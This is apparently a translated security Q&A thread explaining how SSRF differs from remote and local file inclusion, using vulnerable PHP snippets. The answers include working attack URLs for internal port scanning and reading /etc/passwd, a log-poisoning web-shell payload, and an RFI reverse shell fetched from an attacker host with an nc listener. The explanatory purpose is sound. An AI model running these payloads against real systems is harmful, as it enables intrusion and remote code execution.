¿Cuál es la diferencia entre RFI / LFI y SSRF?

0

¿Hay alguna diferencia entre esos? ¿Podemos decir que falsificación de solicitud del lado del servidor (SSRF) es una generalización de Remote File Inclusion (RFI) y Local File Inclusion (LFI)?

    
pregunta kozooh 13.08.2018 - 11:14
fuente

2 respuestas

2

SSRF y RFI / LFI son ataques de inyección, pero son diferentes y pueden tener diferentes implicaciones según la forma en que se implementen.

Para SSRF, considere el siguiente ejemplo:

if (isset($_GET['uri'])){
$uri = $_GET['uri'];
$location = fopen($uri, 'rb');

En el código anterior, el usuario tiene control sobre el parámetro "uri" y puede realizar solicitudes arbitrarias a un servidor externo desde el servidor de destino. Ahora, esto también puede abusarse para realizar solicitudes a los recursos a los que tiene acceso el servidor de destino. Algo como enlace o acceder a otros recursos internos. Puede enumerar aún más los puertos / servicios de la red local, o usar los esquemas "file: //" y "dict: //" para acceder a los archivos en el servidor.

RFI / LFI, mire el código en DVWA: enlace

if( isset( $file ) )
include( $file );

Esto es muy similar a SSRF, pero también puede abusarse para incluir su propio código PHP y ejecutarlo en el servidor. Hay varias formas en que se puede explotar LFI / RFI para obtener RCE. Es posible que desee echar un vistazo a este documento:

enlace

    
respondido por el gremlin0x00 13.08.2018 - 21:30
fuente
2

La falsificación de solicitudes del lado del servidor PUEDE ser una RFI

Es casi lo mismo que RFI. Las mismas dos vulnerabilidades pueden existir dentro de la misma función. La advertencia es que muchas aplicaciones web pueden bloquear el acceso a dominios externos a través de un firewall o algo así, haciendo que la parte RFI sea "imposible" para un host externo .

Imagina que tienes una aplicación web que te pide una URL específica y genera información basada en la URL.

Supongamos que la RFI está bloqueada en el nivel del firewall porque no puede comunicarse con fuentes externas y solo los hosts internos están en la lista blanca. O tal vez podemos asumir que el motor o la aplicación web del preprocesador tiene una funcionalidad que impide la ejecución remota de código mediante el uso de escape, etc.

Bueno, ¿qué sucede si ingresó interna direcciones IP en lugar de una IP externa?

hxxp://vulnerablesite.com/read_page.php?file=hxxp://10.40.20.100

Si la aplicación web devuelve información basada en esa página, puede ser posible convertir esto en RCE, o incluso ejecutar un escaneo de puerto contra recursos internos usando SSRF.

Probemos un "escaneo" en un puerto SSH:

hxxp://vulnerablesite.com/read_page.php?file=hxxp://10.40.20.100:22

que devuelve el siguiente error:

PHP Warning:  fopen(http://10.40.20.100:22): 
failed to open stream: HTTP request failed! 
SSH-2.0-OpenSSH_7.7p1 Debian-3 in 
/home/markfluffybunnybuffalo/test.php on line 2

Acabas de revelar que tengo SSH abierto en esa dirección de red interna. Hmm Tal vez puedas hacer alguna enumeración en otros puertos y ver qué está abierto. Incluso puede encontrar un archivo de archivos en algún lugar con el que pueda obtener algún tipo de interno RFI.

Es posible que pueda leer recursos que generalmente solo están disponibles en la red interna.

Los ataques SSRF también pueden funcionar como un ataque RFI en algunos casos. Pero en general, la gente (espero) deshabilitará la inclusión de archivos que no se encuentran en el servidor web.

Inclusión de archivos locales

Una función vulnerable a LFI también puede ser vulnerable a RFI. Depende. En este escenario, está incluyendo un archivo local, como

hxxp://vulnerablesite.com/read_page.php?file=../../../../etc/passwd

Esto le permite ver qué usuarios están en el sistema, por lo que quizás pueda intentar conectarse a través de SSH como uno de esos usuarios o encontrar más información sobre ellos. Hay muchas cosas diferentes que puedes hacer con él.

Tal vez también pueda incluir un script que haya escrito en el servidor, o tal vez haya envenenado el access.log con el código que ejecutaría un motor del preprocesador (como colocar <? echo shell_exec($_GET["c"]); ?> dentro de una solicitud legítima) que se registra), para obtener la ejecución remota de código como un usuario diferente según el contexto.

Inclusión remota de archivos

Ver arriba, solo permite archivos remotos. Es posible que la función sea vulnerable tanto a LFI como a RFI.

Con RFI, la probabilidad de ejecutar código es muy alta. Puede alojar un servidor web que devuelve código PHP sin procesarlo a través del motor del preprocesador, que luego se ejecuta en el servidor de la víctima.

hxxp://vulnerablesite.com/read_page.php?file=hxxp://hax.com/reverse-shell.php

Si coloca código PHP en ese archivo, es posible que pueda ejecutar código con esta vulnerabilidad. Un ejemplo es usar el código de shell inverso. Usted lanzaría un oyente:

nc -nlvp 4444

Y luego visite la página con la vulnerabilidad de RFI, que debería activar su shell inversa:

connect to [10.40.20.100] from (UNKNOWN) [216.58.218.100] 48984
python -c 'import pty;pty.spawn("/bin/sh");'
$ whoami

markfluffybunnybuffalo
    
respondido por el Mark Buffalo 13.08.2018 - 21:57
fuente

Lea otras preguntas en las etiquetas